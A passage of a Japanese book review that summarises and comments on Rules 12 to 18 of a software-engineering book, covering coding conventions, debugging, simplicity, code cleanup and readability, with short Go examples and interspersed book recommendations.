Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\\"invalid payment: %w\\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\\"failed to deduct balance: %w\\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\\"failed to create transaction: %w\\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\\"process failed: %w\\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\\"Error occurred. Initial state: %+v\\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践していくことが、ソフトウェアエンジニアとしての成長につながると確信しています。Rule 15. Pull the Weeds第15章「Pull the Weeds」は、コードベースの健全性維持に関する重要な原則を提示しています。著者は、小さな問題や不整合を「雑草」に例え、それらを放置せずに定期的に除去することの重要性を強調しています。この章を通じて、コードの品質維持がソフトウェア開発プロセス全体にどのように影響するか、そして日々の開発作業の中でどのようにこの原則を実践すべきかが明確に示されています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazon雑草とは何か著者は、Animal Crossingというゲームの雑草除去の例を用いて、コードの「雑草」の概念を説明しています。この比喩は的確で、私自身、長年のソフトウェア開発経験を通じて、まさにこのような「雑草」の蓄積がプロジェクトの進行を妨げる様子を何度も目の当たりにしてきました。著者が定義する「雑草」は、修正が容易で、放置しても大きな問題にはならないが、蓄積すると全体の品質を低下させる小さな問題です。具体的には、コメントの誤字脱字、命名規則の不一致、フォーマットの乱れなどが挙げられています。この定義は重要で、多くの開発者が見落としがちな点だと感じます。例えば、以前私が参画していた大規模プロジェクトでは、コーディング規約の軽微な違反を「些細な問題」として放置していました。結果として、コードの一貫性が失われ、新規メンバーの学習コストが増大し、最終的にはプロジェクト全体の生産性低下につながりました。雑草の除去著者は、雑草の除去プロセスを段階的に示しています。最初に、明らかな誤りや不整合を修正し、次に命名規則やフォーマットの統一を行います。この段階的アプローチは実践的で、日々の開発作業に組み込みやすいと感じました。例えば、著者が示したC++のコード例では、関数名の変更(エクスポートするための大文字化)、変数名の明確化、コメントの追加と修正、フォーマットの統一などが行われています。これらの変更は、コードの機能自体には影響を与えませんが、可読性と保守性を大きく向上させます。雑草の特定著者は、ある問題が「雑草」であるかどうかを判断する基準として、修正の安全性を挙げています。コメントの修正や命名規則の統一など、機能に影響を与えない変更は安全に行えるため、「雑草」として扱うべきだと主張しています。この考え方は、現代のソフトウェア開発プラクティス、特に継続的インテグレーション(CI)と継続的デリバリー(CD)の文脈で重要です。例えば、私のチームでは、linterやフォーマッターをCIパイプラインに組み込むことで、多くの「雑草」を自動的に検出し、修正しています。これにより、人間の判断が必要な、より重要な問題に集中できるようになりました。コードが雑草だらけになる理由著者は、多くのプロジェクトで「雑草」が放置される理由について深く掘り下げています。時間の制約、優先順位の問題、チーム内での認識の違いなど、様々な要因が挙げられています。この分析は的確で、私自身も同様の経験があります。特に印象に残っているのは、あるプロジェクトでチーム全体が「完璧主義に陥らないこと」を重視するあまり、小さな問題を軽視する文化が生まれてしまったことです。結果として、コードの品質が徐々に低下し、最終的には大規模なリファクタリングが必要になりました。まとめ著者は、「雑草を抜く」ことの重要性を強調して章を締めくくっています。小さな問題を放置せず、定期的に対処することが、長期的にはプロジェクトの健全性を維持する上で重要だと主張しています。この主張には強く共感します。私の経験上、コードの品質維持は継続的な取り組みが必要で、一度に大規模な修正を行うよりも、日々の小さな改善の積み重ねの方が効果的です。例えば、私のチームでは「雑草抜きの金曜日」という取り組みを始めました。毎週金曜日の午後2時間を、コードベースの小さな改善に充てるのです。この取り組みにより、コードの品質が向上しただけでなく、チームメンバー全員がコードベース全体に対する理解を深めることができました。最後に、著者の「最も経験豊富なチームメンバーが雑草抜きの先頭に立つべき」という提案は、重要なポイントだと感じます。ベテラン開発者が率先して小さな問題に対処することで、その重要性をチーム全体に示すことができます。また、そのプロセスを通じて、若手開発者に暗黙知を伝えることもできるのです。この章から学んだ最も重要な教訓は、コードの品質維持は日々の小さな努力の積み重ねであるということです。「雑草を抜く」という単純な行為が、長期的にはプロジェクトの成功につながるのです。この原則を常に意識し、実践することで、より健全で生産性の高い開発環境を維持できると確信しています。Rule 16. Work Backward from Your Result, Not Forward from Your Code第16章「Work Backward from Your Result, Not Forward from Your Code」は、ソフトウェア開発における問題解決アプローチの根本的な転換を提案しています。著者は、既存のコードや技術から出発するのではなく、望む結果から逆算してソリューションを構築することの重要性を説いています。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版Amazonプログラミングは橋を架ける行為著者はプログラミングを、既存のコードと解決したい問題の間に「橋を架ける」行為に例えています。この比喩は示唆に富んでいます。日々の開発作業を振り返ると、確かに我々は常に既知の技術と未知の問題の間を行き来しているように感じます。しかし、著者が指摘するように、多くの場合我々は「コードの側」に立って問題を見ています。つまり、手持ちの技術やライブラリの視点から問題を捉えようとしがちなのです。これは、ある意味で自然な傾向かもしれません。既知の領域から未知の領域に進むのは、心理的にも安全に感じられるからです。既存のコードの視点で捉える危険性著者は、この「コードの側」から問題を見るアプローチの危険性を指摘しています。この指摘は重要で、私自身も頻繁に陥りがちな罠だと感じています。例えば、設定ファイルの解析という問題に直面したとき、多くの開発者はすぐにJSONやYAMLといった既存のフォーマットを思い浮かべるでしょう。そして、それらを解析するための既存のライブラリを探し始めます。これは一見効率的に見えますが、実際には問題の本質を見失うリスクがあります。設定ファイルの真の目的は何でしょうか?それは、アプリケーションの動作を柔軟に調整することです。しかし、既存のフォーマットやライブラリに頼りすぎると、その本質的な目的よりも、特定のフォーマットの制約に縛られてしまう可能性があります。結果から逆算するアプローチ著者が提案する「結果から逆算する」アプローチは、この問題に対する解決策です。まず、理想的な設定の使用方法を想像し、そこから逆算して実装を考えるのです。例えば、設定ファイルの問題に対して、以下のような理想的な使用方法を想像できるでしょう:設定値へのアクセスが型安全であるデフォルト値が簡単に設定できる環境変数からの上書きが容易である設定値の変更を検知できるこのような理想的な使用方法を定義してから実装を始めることで、より使いやすく、保守性の高い設定システムを設計できる可能性が高まります。型安全性と抽象化著者は、型安全性と適切な抽象化の重要性も強調しています。これは特にGolangのような静的型付け言語で重要です。例えば、設定値に対して単純な文字列や数値の型を使うのではなく、それぞれの設定値の意味や制約を表現する独自の型を定義することが考えられます。これにより、コンパイル時のエラーチェックが可能になり、実行時のエラーを減らすことができます。まとめ著者は、既存の技術から前進するアプローチと、望む結果から後退するアプローチの両方を探求しています。どちらか一方だけが正しいわけではなく、状況に応じて適切なアプローチを選択することが重要です。この章から学んだ最も重要な教訓は、問題解決の際には、まず望む結果を明確にし、そこから逆算してソリューションを構築するということです。これは、単にコーディングスキルの向上だけでなく、システム設計全体の質を向上させる可能性を秘めています。今後の開発では、新しい機能やシステムの設計時に、まず「理想的な使用方法」を考え、そこから実装を逆算していく習慣を身につけていきたいと思います。特に、インターフェースを活用した目的志向の抽象化を行うことで、より柔軟で拡張性の高いコードを書けるはずです。この原則を意識することで、単に既存の技術を組み合わせるだけでなく、本当に問題を解決するソリューションを生み出せる可能性が高まります。それは、より優れたソフトウェア、そしてより満足度の高いユーザー体験につながるはずです。Rule 17. Sometimes the Bigger Problem Is Easier to Solve第17章「Sometimes the Bigger Problem Is Easier to Solve」は、問題解決のアプローチに新たな視点を提供しています。この章では、一見複雑に見える問題に対して、より大きな視点から取り組むことで、意外にもシンプルな解決策を見出せる可能性があることを説いています。解像度を上げる――曖昧な思考を明晰にする「深さ・広さ・構造・時間」の4視点と行動法作者:馬田隆明英治出版Amazon問題の規模と複雑さの関係著者は、プログラマーがしばしば直面する困難な状況として、特定の問題に対する解決策を見出そうとするものの、その問題自体が複雑すぎて手に負えないように感じられるケースを挙げています。これは、多くの開発者が経験したことのある状況だと思います。私自身も、マイクロサービスアーキテクチャの設計や分散システムのデータ同期など、一見すると複雑な問題に直面し、途方に暮れた経験があります。しかし、著者が提案するアプローチは、このような状況で有効です。問題の規模を拡大し、より一般的な視点から捉え直すことで、意外にもシンプルな解決策が見つかることがあるというのです。これは、森を見るために木から離れる必要があるという格言を思い起こさせます。この原則は、日々の開発業務においても有用です。例えば、あるマイクロサービスの特定のエンドポイントのパフォーマンス最適化に苦心している場合、その個別の問題に固執するのではなく、サービス全体のアーキテクチャを見直すことで、より効果的な解決策が見つかることがあります。抽象化と一般化の重要性著者の主張する「より大きな問題を解決する」アプローチは、多くのプログラミング言語や開発手法の設計哲学とも相性が良いと感じます。インターフェースを通じた抽象化や、ジェネリクスを用いた一般化などの機能は、まさにこの原則を実践するのに適しています。例えば、複数のデータソースから情報を取得し、それを集約して処理するという問題を考えてみましょう。最初のアプローチでは、各データソースに対して個別の処理を書き、それぞれの結果を手動で集約しようとするかもしれません。しかし、問題をより大きな視点から捉え直すと、これらのデータソースを抽象化し、共通のインターフェースを通じてアクセスするという解決策が浮かび上がります。このアプローチでは、個々のデータソースの詳細を抽象化し、より一般的な問題(複数のデータソースからのデータ取得と集約)に焦点を当てています。結果として、コードはより簡潔になり、新しいデータソースの追加も容易になります。実務での適用私の経験では、あるプロジェクトで複数のマイクロサービス間のデータ整合性の問題に直面したことがあります。当初は各サービス間の個別の同期メカニズムの実装に注力していましたが、問題を大きく捉え直すことで、イベントソーシングパターンを採用するという解決策にたどり着きました。これにより、個別の同期ロジックの複雑さを大幅に軽減し、システム全体の一貫性と拡張性を向上させることができました。このアプローチは、単にコードレベルの問題だけでなく、システム設計全体にも適用できます。例えば、複雑なビジネスロジックを持つアプリケーションの開発において、個々の機能ごとに独立したモジュールを作成するのではなく、最小限のクリーンアーキテクチャを採用することで、より一貫性のあるシステム設計が可能になることがあります。これにより、ビジネスロジックとインフラストラクチャの関心事を分離しつつ、過度に複雑化することなくシステムの構造を整理できます。批判的考察著者の提案するアプローチは魅力的ですが、いくつかの注意点も考慮する必要があります。まず、問題を大きく捉え過ぎると、実装が過度に一般化され、具体的なユースケースに対する最適化が困難になる可能性があります。また、チームのスキルセットや既存のコードベースとの整合性など、実務的な制約も考慮する必要があります。例えば、データソースの抽象化の例で、過度に抽象化されたインターフェースを導入することで、個々のデータソースの特性を活かした最適化が難しくなる可能性があります。このような場合、抽象化のレベルをどこに設定するかは慎重に検討する必要があります。また、大きな問題を解決するアプローチを採用する際は、チーム全体の理解と合意が必要です。個々の開発者が局所的な最適化に注力している状況で、突然大規模な設計変更を提案すると、チームの混乱を招く可能性があります。そのため、このアプローチを採用する際は、十分なコミュニケーションとチーム全体の理解が不可欠です。まとめ「Sometimes the Bigger Problem Is Easier to Solve」という原則は、ソフトウェア開発において有用な視点を提供しています。複雑な問題に直面したとき、その問題自体に固執するのではなく、一歩引いて大局的な視点から捉え直すことで、より簡潔で汎用的な解決策を見出せる可能性があります。この原則を適用することで、個別の問題に対する局所的な解決策ではなく、システム全体の設計と一貫性を改善するチャンスが得られます。これは、長期的にはコードの保守性や拡張性の向上につながり、プロジェクト全体の健全性に貢献します。しかし、この原則を適用する際は、具体的なユースケースとのバランスを常に意識する必要があります。過度の一般化は避け、プロジェクトの要件や制約を十分に考慮した上で、適切な抽象化のレベルを選択することが重要です。最後に、この原則は単にコーディングの技術だけでなく、問題解決のアプローチ全般に適用できる重要な考え方です。ソフトウェア開発者として、常に大局的な視点を持ち、問題の本質を見極める努力を続けることが、より効果的で持続可能なソリューションの創出につながるのです。この章から学んだ最も重要な教訓は、複雑な問題に直面したときこそ、一歩引いて大きな視点から問題を捉え直す勇気を持つことです。それによって、思いもよらなかったシンプルで効果的な解決策が見つかることがあります。この姿勢は、日々の開発作業から大規模なシステム設計まで、あらゆる場面で活用できる貴重な思考法だと言えるでしょう。Rule 18. Let Your Code Tell Its Own Story第18章「Let Your Code Tell Its Own Story」は、コードの可読性と自己説明性に焦点を当てています。この章を通じて、著者は良いコードが自らの物語を語るべきだという重要な原則を提示しています。コードの可読性が高まると、開発効率が向上し、バグの発見も容易になります。この原則は、言語や技術に関わらず適用可能ですが、ここではGolangの文脈でも考察を加えていきます。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazonコードの可読性の重要性著者は、コードの可読性を向上させることの重要性を強調しています。これは、私たちがコードを書く時間よりも読む時間の方が圧倒的に長いという現実を考えると、重要な指摘です。特に、チーム開発やオープンソースプロジェクトでは、他の開発者がコードを理解しやすいかどうかが、プロジェクトの成功を左右する重要な要因となります。私自身、過去のプロジェクトで、可読性の低いコードに悩まされた経験があります。例えば、ある大規模なマイクロサービスプロジェクトでは、各サービスの責任範囲が明確でなく、コードの意図を理解するのに多大な時間を要しました。この経験から、コードの自己説明性の重要性を痛感しました。コメントの役割と落とし穴著者は、コメントの重要性を認めつつも、その使用には注意が必要だと指摘しています。特に、誤ったコメントや古くなったコメントが、コードの理解を妨げる可能性があることを強調しています。この点は、日々の開発でよく遭遇する問題です。例えば、以前参画していたプロジェクトでは、コメントとコードの内容が一致しておらず、デバッグに多大な時間を要したことがありました。この経験から、コメントは最小限に抑え、コード自体が意図を明確に表現するよう心がけるべきだと学びました。Golangの文脈では、言語自体が読みやすさを重視しているため、過度なコメントは逆効果になる可能性があります。例えば、以下のようなコードは、コメントなしでも十分に意図が伝わります:func isEven(num int) bool { return num%2 == 